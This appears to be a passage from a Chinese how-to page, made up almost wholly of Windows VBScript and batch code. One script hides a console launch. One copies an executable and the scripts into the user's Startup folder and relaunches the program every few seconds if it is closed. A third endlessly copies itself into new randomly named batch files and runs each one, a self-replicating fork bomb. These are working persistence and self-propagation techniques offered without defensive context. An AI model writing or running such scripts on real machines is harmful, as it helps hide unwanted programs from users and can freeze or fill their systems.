Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c test.bat",vbhide
2、开机启动脚本 test.bat
@echo off
copy luo.exe "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
copy test.bat "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
copy test.vbs "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
:sss
rem 这是一个监控某程序是否打开的脚本
REM start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe"
tasklist /nh | find /i "luo.exe"
if errorlevel 1 (start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe")
cls
timeout /T 5 /nobreak
goto sss
pause
3、自我复制脚本 test.bat
@echo off
rem 这是一个自我复制并执行的的bat脚本
:sss
set name=%0
set num=%RANDOM%
rem copy %name% %name%_%num%.bat
type %name% >> %num%.bat
start "" %num%.bat
pause
goto sss